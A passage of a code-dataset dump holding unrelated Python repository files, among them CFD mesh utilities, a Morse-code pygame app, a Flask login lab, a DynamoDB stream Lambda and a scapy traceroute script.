results.dset['solution'][results.dset['globalToLocalIndex'][i]][4]))\n\n if self.V:\n print('Writing Face Info')\n fout.write('# Number of points per face \\n')\n for i in range(n_f):\n fout.write(\"{} \\n\".format(self.faceType[i][0]))\n\n if self.V:\n print('Writing Face Nodes')\n fout.write('# Nodes making up each face \\n')\n for i in range(n_f):\n n_points = int(self.faceType[i])\n for j in range(n_points):\n index = i * n_points + j\n fout.write(\"{} \".format(self.faceNodes[index, 0] + 1))\n fout.write(\"\\n\")\n\n if self.V:\n print('Writing Face Cell Interfaces')\n fout.write('# Left Cells \\n')\n for i in range(n_f):\n fout.write(\"{} \\n\".format(self.faceCell[i, 0] + 1))\n fout.write('# Right Cells \\n')\n for i in range(n_f):\n if self.faceCell[i, 1] < n_c:\n fout.write(\"{} \\n\".format(self.faceCell[i, 1] + 1))\n elif self.faceCell[i, 1] >= n_c:\n fout.write(\"0 \\n\")\n\n if self.V:\n print('tecplot results file written successfully')\n\n def writeh5(self, fname):\n # Write unstructured data to h5 file\n if self.V:\n print('Writing h5 mesh file: {}'.format(fname))\n f = h5py.File(fname, \"w\")\n h5mesh = f.create_group(\"mesh\")\n\n # Write attributes\n h5mesh.attrs.create(\"numFaces\", self.numFaces, shape=(1, 1))\n h5mesh.attrs.create(\"numCells\", self.numCells, shape=(1, 1))\n\n # Write datasets\n h5mesh.create_dataset(\"faceBC\", data=self.faceBC,\n shape=(self.numFaces, 1))\n h5mesh.create_dataset(\"faceCell\", data=self.faceCell)\n h5mesh.create_dataset(\"faceInfo\", data=self.faceInfo)\n h5mesh.create_dataset(\n \"faceNodes\", data=self.faceNodes, shape=(self.numFaces * 4, 1))\n h5mesh.create_dataset(\n \"faceType\", data=self.faceType, shape=(self.numFaces, 1))\n h5mesh.create_dataset(\"nodeVertex\", data=self.nodeVertex)\n\n if self.V:\n print('h5 file written successfully')\n return\n\n def write_boundary_tec(self, fname):\n # Export boundaries from h5 mesh\n if self.V:\n print('Extracting boundary faces')\n\n # Get surface face ID's\n surface_faceID = np.array(np.where(self.faceInfo[:, 0] != 0))[\n 0, :] # Find index of faces with non-zero face tag\n # Number of boundary faces\n n_face = len(surface_faceID)\n # array to store the tag of specific faces\n surface_faceTag = np.zeros(n_face)\n # array to store nodeID's of boundary faces\n surface_faceNodes = np.zeros(n_face * 4)\n\n index = 0\n # Find nodes and boundary tags\n for i in range(n_face):\n surface_faceTag[i] = self.faceInfo[[surface_faceID[i]], 0]\n for j in range(int(self.faceType[surface_faceID[i]])):\n surface_faceNodes[index] = self.faceNodes[4 *\n surface_faceID[i] + j, 0]\n index += 1\n\n # Extract only unique nodes\n unique_nodes, unique_counts = np.unique(\n surface_faceNodes, return_counts=True)\n n_nodes = len(unique_nodes)\n\n f = open(fname, \"w\")\n f.write(\"TITLE = Boundary plot\\n\")\n f.write(\"VARIABLES = \\\"X\\\" \\\"Y\\\" \\\"Z\\\" \\\"Tag\\\"\\n\")\n f.write(\n \"ZONE T=\\\"PURE-QUADS\\\", NODES={}, ELEMENTS={}, DATAPACKING=BLOCK, VARLOCATION=([4]=CELLCENTERED), ZONETYPE=FEQUADRILATERAL\\n\".format(n_nodes, n_face))\n\n # Print unique node locations\n for n in unique_nodes:\n f.write(\"{}\\n\".format(self.nodeVertex[int(n), 0]))\n for n in unique_nodes:\n f.write(\"{}\\n\".format(self.nodeVertex[int(n), 1]))\n for n in unique_nodes:\n f.write(\"{}\\n\".format(self.nodeVertex[int(n), 2]))\n for face in range(n_face):\n f.write(\"{}\\n\".format(int(surface_faceTag[face])))\n\n # Print nodes making up each face\n for face in range(n_face):\n for i in range(4):\n f.write(\"{} \".format(np.where(unique_nodes ==\n surface_faceNodes[face * 4 + i])[0][0] + 1))\n f.write(\"\\n\")\n f.close()\n\n return\n\n def dumpPoints(self, fname):\n f = open(fname, 'w')\n f.write('{}\\n'.format(self.nodeVertex.shape[0]))\n for i in range(self.nodeVertex.shape[0]):\n f.write('{} {} {}\\n'.format(\n self.nodeVertex[i, 0], self.nodeVertex[i, 1], self.nodeVertex[i, 2]))\n f.close()\n\n def extractBoundaryNodes(self, zoneID):\n # returns a list of boundary node locations\n surface_faces = np.where(self.faceInfo[:, 0] == zoneID)[0]\n\n boundary_faces = np.empty((0, 3), dtype=float)\n\n for face in surface_faces:\n for node in range(self.faceType[face]):\n faceNodeID = self.faceIndex[face] + node\n nodeID = self.faceNodes[faceNodeID][0]\n nodeToAdd = self.nodeVertex[nodeID]\n boundary_faces = np.vstack([boundary_faces, nodeToAdd])\n\n return boundary_faces\n\n def extractHaloFaces(self):\n # Count number of halo cells in the mesh\n max_cell_ID = max(self.faceCell[:, 1])\n num_halo_cells = max_cell_ID - self.numCells\n print('num_Halo_cells= {}'.format(num_halo_cells))\n\n # Count the number of faces requiring a halo cell\n num_internal_faces = np.count_nonzero(self.faceBC == 0)\n num_halo_faces = self.numFaces - num_internal_faces\n print('num_halo_faces= {}'.format(num_halo_faces))\n\n def writeLKEconf(self, fname, r0, nbase):\n # Output .conf files for LKE mesh deformation program\n if self.V:\n print('Writing LKE mesh deformation config files')\n volfile = 'volume'\n surfile = 'surface'\n dformat = 'xyz'\n\n fout = open(fname, \"w\")\n fout.write(\"voltype = {} \\n\".format(dformat))\n fout.write(\"mesh = {} \\n\".format(volfile + '.' + dformat))\n fout.write(\"surfpts = {} \\n\".format(surfile + '.' + dformat))\n fout.write(\"rbfmode = 1 \\n\")\n fout.write(\"r0 = {} \\n\".format(r0))\n fout.write(\"nbase = {}\".format(nbase))\n\n fout.close()\n\n fvol = open(volfile + '.' + dformat, \"w\")\n fvol.write(\"{} \\n\".format(self.n_v))\n for i in range(self.n_v):\n fvol.write(\"{:.12f} \\t {:.12f} \\t {:.12f} \\n\".format(\n self.X_v[i, 0], self.X_v[i, 1], self.X_v[i, 2]))\n fvol.close()\n\n fsur = open(surfile + '.' + dformat, \"w\")\n fsur.write(\"{} \\n\".format(self.n_s))\n for i in range(self.n_s):\n fsur.write(\"{:.12f} \\t {:.12f} \\t {:.12f} \\n\".format(\n self.X_s[i, 0], self.X_s[i, 1], self.X_s[i, 2]))\n fsur.close()\n\n if self.V:\n print('LKE config files written successfully')\n return\n\n def rotate_surface(self, alpha):\n self.X_def = np.zeros_like(self.X_s)\n\n alpha_rad = np.deg2rad(alpha)\n\n R = np.array([[np.cos(alpha_rad), 0, -np.sin(alpha_rad)],\n [0, 1, 0], [np.sin(alpha_rad), 0, np.cos(alpha_rad)]])\n\n for i in range(self.n_s):\n self.X_def[i, :] = np.matmul(R, self.X_s[i, :]) - self.X_s[i, :]\n # self.X_def[i,0] = np.cos(alpha_rad) * self.X_s[i,0] - np.sin(alpha_rad) * self.X_s[i,2]\n # self.X_def[i,2] = np.sin(alpha_rad) * self.X_s[i,0] + np.cos(alpha_rad) * self.X_s[i,2]\n # self.X_def = self.X_s\n\n def translate_surface(self, vec):\n for i in range(self.n_s):\n self.X_def[i, 0] = vec[0]\n self.X_def[i, 1] = vec[1]\n self.X_def[i, 2] = vec[2]\n\n def generate_deformation_file(self, fname):\n\n fout = open(fname, \"w\")\n fout.write(\"{} \\n\".format(self.n_s))\n for i in range(self.n_s):\n fout.write(\"{:.12f} \\t {:.12f} \\t {:.12f} \\n\".format(\n self.X_def[i, 0], self.X_def[i, 1], self.X_def[i, 2]))\n fout.close()\n\n def rbf_rotate(self, surfID, r0, nbase, alpha):\n # Preprocessing\n self.extractSurfaceFaces(surfID)\n self.writeLKEconf('rotate.LKE', r0, nbase)\n\n os.system('meshprep rotate.LKE')\n\n self.rotate_surface(alpha)\n # vec = [0,0,5]\n # self.translate_surface(vec)\n\n self.generate_deformation_file('surface_deformations.xyz')\n\n os.system(\n 'meshdef volume.xyz.meshdef surface_deformations.xyz volume_deformations.xyz')\n\n self.X_vol_deformed = np.loadtxt('volume_deformations.xyz', skiprows=1)\n\n print(self.faceType.shape, self.numFaces)\n self.nodeVertex = self.X_vol_deformed\n\n self.writetec('test.plt')\n\n self.writeh5('deformed.h5')\n\n os.system(\n 'rm rotate.LKE surface.xyz volume.xyz surface_deformations.xyz volume_deformations.xyz volume.xyz.meshdef def.xyz')\n\n def get_surface_nodes(self, surfaceID, fname):\n # Find faceID's with zone tag specified\n surface_faces = np.where(self.faceInfo[:, 0] == surfaceID)[0]\n\n # find all the nodes making up the face\n n_surface_nodes = np.sum(self.faceType[surface_faces])\n surface_node_vertex = np.zeros([n_surface_nodes])\n\n index = 0\n for f in surface_faces:\n for i in range(self.faceType[f][0]):\n surface_node_vertex[index] = self.faceNodes[self.faceIndex[f] + i]\n index = index + 1\n\n # sort these to only get unique nodes\n unique_vertex = np.unique(surface_node_vertex)\n\n # get vertex points for unique nodes\n surface_nodes = np.zeros([len(unique_vertex), 3])\n for i in range(len(unique_vertex)):\n surface_nodes[i, :] = self.nodeVertex[int(unique_vertex[i]), :]\n\n # print surface nodes\n f = open(fname, \"w\")\n # f.write(\"{}\\n\".format(len(surface_nodes[:,0])))\n for nodes in surface_nodes:\n f.write(\"{} \\t {} \\t {} \\n\".format(nodes[0], nodes[1], nodes[2]))\n\n\nclass zcfd_results():\n # zCFD results data class, function needs to be called in order to create tecplot results file\n\n def __init__(self, fname):\n f = h5py.File(fname, \"r\")\n run = f.get('run')\n print(run.attrs.keys())\n self.attrs = {}\n for attr in run.attrs.keys():\n self.attrs[attr] = run.attrs.get(attr)[0]\n\n print(run.keys())\n self.dset = {}\n for dset in run.keys():\n self.dset[dset] = np.array(run.get(dset))\n\n print(self.attrs)\n print(self.dset)\n f.close()\n\n\ndef check_and_replace(mesh):\n ncell_nodes = np.zeros(mesh.n_cell)\n problem_cells = 1\n refinements = 1\n node_map = {}\n # pool=mp.Pool(mp.cpu_count())\n while problem_cells != 0:\n node_map = {}\n problem_cells = 0\n print(refinements)\n refinements = refinements + 1\n for c in range(mesh.ncell):\n cell_nodes = []\n faces = mesh.cellFace[6 * c: 6 * c + 6]\n for f in faces:\n cell_nodes = np.append(\n cell_nodes, mesh.faceNodes[f * 4: f * 4 + 4])\n\n cell_nodes = np.unique(cell_nodes)\n num_cell_nodes = len(cell_nodes)\n ncell_nodes[c] = num_cell_nodes\n\n if num_cell_nodes > 8:\n problem_cells = problem_cells + 1\n for i in range(num_cell_nodes):\n for j in range(num_cell_nodes):\n nodei = int(cell_nodes[i])\n nodej = int(cell_nodes[j])\n rad = np.linalg.norm(\n mesh.nodeVertex[nodei, :] - mesh.nodeVertex[nodej, :])\n if rad < 0.0001 and nodei != nodej:\n if nodei > nodej:\n node_map[nodej] = nodei\n\n print(problem_cells)\n unique, counts = np.unique(ncell_nodes, return_counts=True)\n print(dict(zip(unique, counts)))\n\n i = 0\n for f in reversed(node_map.keys()):\n print('{} \\\\ {}'.format(i, len(node_map.keys())))\n mesh.sortnodes(node_map[f], f)\n i = i + 1\n","repo_name":"T-Wainwright/zCFD_Utils","sub_path":"src/zcfdutils/mesh_utils.py","file_name":"mesh_utils.py","file_ext":"py","file_size_in_byte":59416,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"73301749051","text":"import pygame\nfrom pygame.locals import *\nimport sys\n\nbinary = []\nmorse = \"\"\nmorse_list = {\"._\":\"A\",\"_...\":\"B\",\"_._.\":\"C\",\"_..\":\"D\",\".\":\"E\",\".._.\":\"F\",\\\n \"__.\":\"G\",\"....\":\"H\",\"..\":\"I\",\".___\":\"J\",\"_._\":\"K\",\"._..\":\"L\",\\\n \"__\":\"M\",\"_.\":\"N\",\"___\":\"O\",\".__.\":\"P\",\"__._\":\"Q\",\"._.\":\"R\",\\\n \"...\":\"S\",\"_\":\"T\",\".._\":\"U\",\"..._\":\"V\",\".__\":\"W\",\"_.._\":\"X\",\\\n \"_.__\":\"Y\",\"__..\":\"Z\",\".____\":\"1\",\"..___\":\"2\",\"...__\":\"3\",\\\n \"...._\":\"4\",\".....\":\"5\",\"_....\":\"6\",\"__...\":\"7\",\"___..\":\"8\",\\\n \"____.\":\"9\",\"_____\":\"0\"}\n\nframe = 0\ncheck = 0\nfree_sec = 0\nuser_text = []\n\ndef main():\n global word,frame,check,free_sec,user_text\n\n pygame.init()\n screen = pygame.display.set_mode((400,300))\n pygame.display.set_caption(\"Morse!\")\n font = pygame.font.Font(None, 100)\n font2 = pygame.font.Font(None, 50)\n while True:\n \n pressed_key = pygame.key.get_pressed()\n\n if pressed_key[K_SPACE]:\n if check == 0:\n frame = 0\n frame += 1\n check = 1\n\n else:\n if check == 1:\n free_sec = 0\n encode_binary(frame)\n check = 0\n free_sec += 1\n\n if free_sec >= 70:\n encode_morse(binary)\n\n screen.fill((0,0,0))\n text = font.render(morse.encode(), True, (255,255,255))\n screen.blit(text, [170,100])\n try:\n frame_text = font.render(\"\".join(binary).encode(), True, (255,255,255))\n screen.blit(frame_text, [170,200])\n \n if len(user_text) >= 10:\n del user_text[0]\n text = font2.render(\"\".join(user_text).encode(), True, (255,255,255))\n screen.blit(text, [100,50])\n except:\n pass\n \n pygame.display.update()\n \n for event in pygame.event.get():\n if event.type == QUIT:\n end()\n if event.type == KEYDOWN: \n if event.key == K_ESCAPE:\n end()\n if event.key == K_d:\n del user_text[-1]\n if event.key == K_c:\n user_text = []\n\ndef encode_binary(frame):\n global binary\n \n if frame <= 8 and frame >= 1:\n binary.append(\".\")\n elif frame >= 9:\n binary.append(\"_\")\n\ndef encode_morse(code):\n global morse,binary\n try:\n morse = morse_list[\"\".join(code)]\n user_text.append(morse)\n except KeyError:\n pass\n binary = []\n\ndef end():\n print(binary)\n print(morse)\n pygame.quit()\n sys.exit()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"appleuser634/morse","sub_path":"morse_text.py","file_name":"morse_text.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"44224877172","text":"import Lexer as lx\nimport Parser as pr\n\ndef ejeparser ()->None:\n text=input(\"Enter the text to be analyzed, the file must be in the same folder as the console: \")\n tokens=lx.lexer(text)\n parser=pr.ParserMain(tokens)\n print (parser)\n\ndef initializeapp ()->None:\n ejeparser()\n\ninitializeapp()","repo_name":"LYM-2023-01-Projects/Project0","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35942450560","text":"from tkinter import *\nimport time\n\nroot = Tk()\nroot.title('Digital Clock')\nroot.geometry('300x100')\n\nclock_label = Label(root, font=('Arial', 30, 'bold'),\n bg='black', fg='white', bd=30)\n\nclock_label.pack(fill=BOTH, expand=1)\n\ndef update_clock():\n current_time = time.strftime('%H:%M:%S')\n clock_label.config(text=current_time)\n clock_label.after(1000, update_clock)\n \nupdate_clock()\nroot.mainloop()","repo_name":"mahdimk100/100-Projects-with-Python","sub_path":"digital_clock.py","file_name":"digital_clock.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"42232620064","text":"# wartosc przyszla\n# lewis_lu 13/10/2019\n\n\ndef future_save(p,i,t):\n\t\n\tF = p * ((1+i/100)**t)\n\treturn F\n\t\ndef main():\n\t\n\tmoney = float(input('\\n\\tPodaj aktualne saldo konta: '))\n\tinterest = float(input('\\tMiesieczna stopa procentowa: '))\n\tmonths = int(input('\\tOkres oszczedzania w miesiacach: '))\n\t\n\tfuture_save(money, interest, months)\n\t\n\tprint('\\n\\tWartosc przyszla salda wynosi: ', format(future_save(money, interest, months), '.2f'), '\\n')\n\t\nmain()","repo_name":"lewislu77/Starting_with_Python_4thEd.","sub_path":"chapter 5/ex.19_p.5.py","file_name":"ex.19_p.5.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73461191612","text":"from flask import Flask, request, jsonify, redirect, render_template, session, abort, url_for\nfrom flask_login import LoginManager, UserMixin, current_user, login_user, logout_user, login_required\nfrom flask_mongoengine import MongoEngine\n\n\napp = Flask(__name__)\n\n\n#/* ------------------------------ LOGIN Lab 11 ------------------------------ */\napp.secret_key = 'super secret string' # Required for authentication\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\nusers = {'student@ryerson.ca': {'password': 'secret'}}\nclass User(UserMixin):\n\tpass\n\n\n# Login manager loads user by email from mock database\n@login_manager.user_loader\ndef user_loader(email):\n\tif email not in users:\n\t\treturn\n\t\t\n\tuser = User()\n\tuser.id = email\n\treturn user\n\t\n\t\n# Login manager loads user by email from form requesting username and password\n@login_manager.request_loader\ndef request_loader(request):\n\temail = request.form.get('email')\n\tif email not in users:\n\t\treturn\n\t\t\n\tuser = User()\n\tuser.id = email\n\treturn user\n\n\n# Login route that is used to access secure routes\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n\tif request.method == 'GET':\n\t\treturn render_template('login.html')\n \n\temail = request.form['email']\n\t\n\tif email in users and request.form['password'] == users[email]['password']:\n\t\tuser = User()\n\t\tuser.id = email\n\t\tlogin_user(user)\n\t\treturn redirect(url_for('protected')) \n\telse:\t\t\n\t return render_template('index.html', error=\"Incorrect Login\")\n\t\t\t\n\t\t\t\n# Protector route hence user must be logged in to access it\n@app.route('/protected')\n@login_required\ndef protected():\n\temail = current_user.id\n\tdata = Coefficient.objects\n\treturn render_template('protected.html', email=email, data=data)\n\n\n# Handle unauthenticaled users that access protected routes\n@login_manager.unauthorized_handler\ndef unauthorized_handler():\n return render_template('index.html', error=\"401 Unauthorized Access\")\n\n# Logout\n@app.route('/logout')\ndef logout():\n logout_user()\n return render_template('index.html', message=\"You have been logged out\")\n\n#/* ------------------------------ DATABASE ------------------------------ */\n\napp.config['MONGODB_SETTINGS'] = {'db': 'JWFOODS', 'host':'localhost', 'port':27017}\ndb = MongoEngine()\ndb.init_app(app)\n\n\n# Class declaration\nclass Coefficient(db.Document):\n\tname = db.StringField()\n\tvalue = db.StringField()\n\tmeta = { 'collection': 'coefficient', 'allow_inheritance': False}\n\n# Homepage\n@app.route('/', methods=['GET'])\ndef homepage():\n return render_template('index.html')\n\n# Used by front end\n@app.route('/list', methods=['GET'])\ndef listAllCoefficients():\n data = Coefficient.objects\n return jsonify(data)\n\n# Update a coefficient\n@app.route('/coefficient/edit', methods=['POST'])\ndef editCoefficent():\n message = \"\"\n nameValue = request.form.get('name')\n newCoefficientValue = request.form.get('NewCoefficient')\n foundCoefficientList = Coefficient.objects(name=nameValue)\n if len(foundCoefficientList) > 0:\n print('Coefficient found')\n coefficientObj = foundCoefficientList.first()\n print(coefficientObj.to_json())\n coefficientObj.value = newCoefficientValue\n coefficientObj.save()\n message = \"Update was successful\"\n else:\n print(\"No coefficient found\")\n message = \"Update failed\"\n \n data = Coefficient.objects\n return render_template(\"protected.html\", data=data, message=message, email=\"student@ryerson.ca\")\n\n# Calculator\n@app.route('/calculator', methods=['POST'])\ndef coefficient_calculator():\n distance_val = float(request.json['distance'])\n weight_val = float(request.json['weight'])\n distance_coefficients = Coefficient.objects(name='distance')\n distance_coefficient = distance_coefficients.first()\n distance_coefficient_value = distance_coefficient.value\n print(distance_coefficient_value)\n weight_coefficients = Coefficient.objects(name='weight')\n weight_coefficient = weight_coefficients.first()\n weight_coefficient_value = weight_coefficient.value\n print(weight_coefficient_value)\n delivery_cost = distance_val * float(distance_coefficient_value) + weight_val * float(weight_coefficient_value)\n return jsonify(delivery_cost)\n\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0',debug=True)","repo_name":"mkleung/jwfoods","sub_path":"server/backup/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14149880867","text":"import boto3\nfrom boto3.dynamodb.conditions import Key\n\nfrom aws_lambda_powertools import Logger\nfrom aws_lambda_powertools.utilities.typing import LambdaContext\n\ndynamodb = boto3.resource(\n 'dynamodb',\n region_name='us-east-1',\n endpoint_url=\"http://dynamodb.us-east-1.amazonaws.com\"\n)\n\nlogger = Logger()\n\n@logger.inject_lambda_context\ndef lambda_handler(event: dict, context: LambdaContext):\n pk = event['Records'][0]['dynamodb']['Keys']['pk']['S']\n sk = event['Records'][0]['dynamodb']['Keys']['sk']['S']\n\n eventName = event['Records'][0]['eventName']\n if eventName == 'REMOVE':\n return\n\n logger.info(f\"pk={pk}, sk={sk}\")\n logger.info(f\"event={event}\")\n if pk.startswith('MSG#'):\n group_uuid = pk.replace(\"MSG#\",\"\")\n message = event['Records'][0]['dynamodb']['NewImage']['message']['S']\n logger.info(f\"message_group_uuid={group_uuid}, message={message}\")\n\n table_name = 'cruddur-messages'\n index_name = 'message-group-sk-index'\n table = dynamodb.Table(table_name)\n data = table.query(\n IndexName=index_name,\n KeyConditionExpression=Key('message_group_uuid').eq(group_uuid)\n )\n logger.info(f\"response={data['Items']}\")\n\n # recreate the message group rows with new SK value\n for i in data['Items']:\n delete_item = table.delete_item(Key={'pk': i['pk'], 'sk': i['sk']})\n logger.info(f\"delete_item={delete_item}\")\n\n response = table.put_item(\n Item={\n 'pk': i['pk'],\n 'sk': sk,\n 'message_group_uuid':i['message_group_uuid'],\n 'message':message,\n 'user_display_name': i['user_display_name'],\n 'user_handle': i['user_handle'],\n 'user_uuid': i['user_uuid']\n }\n )\n logger.info(f\"create_reponse={response}\")","repo_name":"romogo17/aws-bootcamp-cruddur-2023","sub_path":"infrastructure/03-lambdas/functions/message_stream/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69835426173","text":"import math\r\nimport main\r\n# import queue ....\r\n\r\n# angle_queue = queue.Queue() ....\r\n#\r\n# def getAngle():\r\n# global angle_queue\r\n# return angle_queue\r\n\r\n\r\ndef controller(queue):\r\n #ser = serial.Serial('COM10', 9600, timeout=1)\r\n\r\n # global angle_queue ....\r\n\r\n print('controller_thread_started')\r\n is_first_val = False\r\n IVL = []\r\n sj0_x, sj0_y, lj0_x, lj0_y, hj0_x, hj0_y = 0, 0, 0, 0, 0, 0\r\n l0_h = 0.0\r\n\r\n # define each gradients\r\n mh0, mu0, mh, mu = 0.0, 0.0, 0.0, 0.0\r\n\r\n\r\n while True:\r\n value = queue.get()\r\n if value is None:\r\n continue\r\n else:\r\n # print(value)\r\n if not is_first_val:\r\n is_first_val = True\r\n IVL = value\r\n\r\n print(value)\r\n sj0_x, sj0_y, lj0_x, lj0_y, hj0_x, hj0_y = IVL[0][1], IVL[0][2], IVL[1][1], IVL[1][2], IVL[2][1], \\\r\n IVL[2][2] # Each joint coordinates initially\r\n l0_h = math.sqrt((sj0_x - lj0_x) ** 2 + (sj0_y - lj0_y) ** 2) # initial_lengths of humerus part\r\n\r\n # take initial coordinates\r\n # initial shoulder coordinates are //sj0_x, sj0_y//\r\n # initial elbow coordinates are //lj0_x, lj0_y//\r\n # initial hand coordinates are //hj0_x, hj0_y//\r\n\r\n # now let's calculate initial gradients of lines each Humerus and Ulna parts\r\n if (sj0_x != lj0_x) or (lj0_x != hj0_x):\r\n mh0 = (sj0_y - lj0_y)/(sj0_x - lj0_x) # m- gradient h-humerus 0 - initial\r\n mu0 = (lj0_y - hj0_y)/(lj0_x - hj0_x)\r\n print(mh0, mu0)\r\n elif (sj0_x == lj0_x) or (lj0_x == hj0_x):\r\n mh0, mu0 = 0.0,0.0\r\n # set current values\r\n else:\r\n sj_x, sj_y, lj_x, lj_y, hj_x, hj_y = value[0][1], value[0][2], value[1][1], value[1][2], value[2][1], \\\r\n value[2][2]\r\n l_h = round(math.sqrt((sj_x - lj_x) ** 2 + (sj_y - lj_y) ** 2), 1)\r\n\r\n # now let's calculate current gradients of lines each Humerus and Ulna parts\r\n if (sj_x == lj_x) or (lj_x == hj_x):\r\n pass\r\n else:\r\n mh = (sj_y - lj_y) / (sj_x - lj_x) # m- gradient h-humerus 0 - initial\r\n mu = (lj_y - hj_y) / (lj_x - hj_x)\r\n\r\n # shoulder flexion angle\r\n shoulder_angle = round(math.atan((math.fabs((mh - mh0)))/(1 + mh*mh0)), 2)\r\n shoulder_angle = math.fabs(round(math.degrees(shoulder_angle), 0))\r\n if sj0_x == lj0_x:\r\n shoulder_angle = 90.0 - shoulder_angle\r\n\r\n # elbow angle\r\n elbow_angle = round(math.atan((math.fabs((mu - mu0))) / (1 + mu * mu0)), 2)\r\n elbow_angle = math.fabs(round(math.degrees(elbow_angle), 0))\r\n if lj0_x == hj0_x:\r\n elbow_angle = 90.0 - elbow_angle\r\n\r\n\r\n\r\n if (elbow_angle <= shoulder_angle + 1):\r\n print('Shoulder flexion Angle : \\t', shoulder_angle)\r\n else :\r\n rel_el_ang = elbow_angle - shoulder_angle\r\n print('Shoulder flexion Angle : ', shoulder_angle)\r\n print('Elbow flexion Angle : \\t', rel_el_ang)\r\n\r\n if l0_h > l_h:\r\n j1_angle = math.acos(round(l_h / l0_h, 4))\r\n j1_angle_degrees = math.degrees(j1_angle)\r\n print('Shoulder abduction Angle : \\t', round(j1_angle_degrees))\r\n #ser.write(int(j1_angle_degrees))\r\n # angle_queue.put(j1_angle_degrees) ....\r\n\r\n\r\n if main.req == 'stop':\r\n break\r\n return\r\n","repo_name":"Viranjan-de-silva/Computer-Vision_Based_Human_arm_angle_measurement_system","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70146907453","text":"#!/usr/bin/env python3\nimport sys, os\nfrom scapy.all import *\n\nMAX_TTL = 64\n\ndef send_(dst_, ttl_):\n return sr1(IP(dst=dst_, ttl=ttl_)/ICMP(), timeout=1, verbose=0)\n \ndef result_(hops, dst_):\n print(\"\\n\", \"*\"*3, f\"It took {hops} hops to get to {dst_}\", \"*\"*3, \"\\n\")\n \ndef main():\n # Ensure correct usage\n if len(sys.argv) != 2:\n sys.exit(\"Usage: ./traceroute.py IP-ADDRESS\")\n \n # Set the variables\n dst_ = sys.argv[1]\n ttl_ = 0\n hops = 0\n \n # Loop till you get to the host\n while True:\n ttl_ += 1\n rcv = send_(dst_, ttl_)\n \n if rcv is None:\n hops += 1\n print(\"--> * * * * *\")\n if hops >= MAX_TTL:\n os.system('clear')\n sys.exit(f\"Failed to connect to {dst_}. Maybe host is offline?\")\n elif rcv[ICMP].type == 3:\n sys.exit(\"Destination host is unreachable\")\n elif rcv[ICMP].type == 11:\n hops += 1\n print(rcv.sprintf(\"--> %IP.src%\"))\n elif rcv[ICMP].type == 0:\n hops += 1\n print(rcv.sprintf(\"--> %IP.src%\"))\n break\n \n result_(hops, dst_)\n \n \nif __name__ == '__main__':\n main()\n","repo_name":"iukadike/network-security-lab","sub_path":"sniffing-and-spoofing-lab/traceroute.py","file_name":"traceroute.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28476707821","text":"import numpy as np\nclass Solution(object):\n def countServers(self, grid):\n B = np.pad(grid,((1,1),(1,1)),'constant',constant_values=(0,0))#将数组grid多扩充一列一行,使用0填充\n n =0\n for i in range(1,len(B)-1):#因为之前扩充了数组,所以遍历时需要-1,\n for j in range(1,len(B[i])-1):#遍历数组,如果一个元素的值是‘1’,并且上下左右至少有一个邻居的值为1,则统计数加一。\n if B[i][j]==1 :\n if B[i+1][j]==1 or B[i][j+1]==1 or B[i-1][j]==1 or B[i][j-1]==1:\n n = n +1\n return n\nif __name__ =='__main__':\n solution=Solution()\n grid=[[1,1,1,1],[0,0,0,0],[1,1,0,0],[1,0,0,0]]\n print(solution.countServers(grid))\n\n\n\n\n\n\n\n","repo_name":"gschen/where2go-python-test","sub_path":"1806101059饶龙江/text/likou02.py","file_name":"likou02.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"13585290153","text":"import pymongo\nimport certifi\nimport os\nimport datetime\n\n\ndef load_data():\n ca = certifi.where()\n client = pymongo.MongoClient(\n f\"mongodb+srv://cli_user:{os.environ.get('MONGO_PASSWORD')}@{os.environ.get('MONGO_URL_SNIP')}.mongodb.net/?retryWrites=true&w=majority\",\n tlsCAFile=ca\n )\n\n communities_to_insert = [\n {\n \"display_name\": \"Coffee\", \"name\": \"Coffee\", \"plural_name\": \"Coffees\",\n \"icon\": \"coffee\", \"primary_color\": \"413121\", \"secondary_color\": \"FFFFFF\",\n \"primary_fields\": [\n {\"name\": \"categories\"},\n {\"name\": \"price\", \"formatting\": \"currency\"},\n ],\n \"secondary_fields\": [\n {\"name\": \"location\", \"label\": \"Region\", \"type\": \"currency\"},\n {\"name\": \"tasting_notes\", \"label\": \"Tasting Notes\"},\n {\"name\": \"process\", \"label\": \"Process\"},\n {\"name\": \"variety\", \"label\": \"Variety\"},\n {\"name\": \"roast\", \"label\": \"Roast Level\", \"type\": \"scale-5\"},\n ],\n },\n {\n \"display_name\": \"Whiskey\", \"name\": \"Whiskey\", \"plural_name\": \"Whiskeys\",\n \"icon\": \"whiskey-glass\", \"primary_color\": \"121B26\", \"secondary_color\": \"BEA480\",\n \"primary_fields\": [\n {\"name\": \"categories\"},\n {\"name\": \"price\", \"formatting\": \"currency\"},\n ],\n \"secondary_fields\": [],\n },\n # {\"display_name\": \"Restaurants\", \"name\": \"Restaurant\", \"plural_name\": \"Restaurants\", \"icon\": \"utensils\", \"primary_color\": \"BF0704\", \"secondary_color\": \"FFFFFF\"},\n # 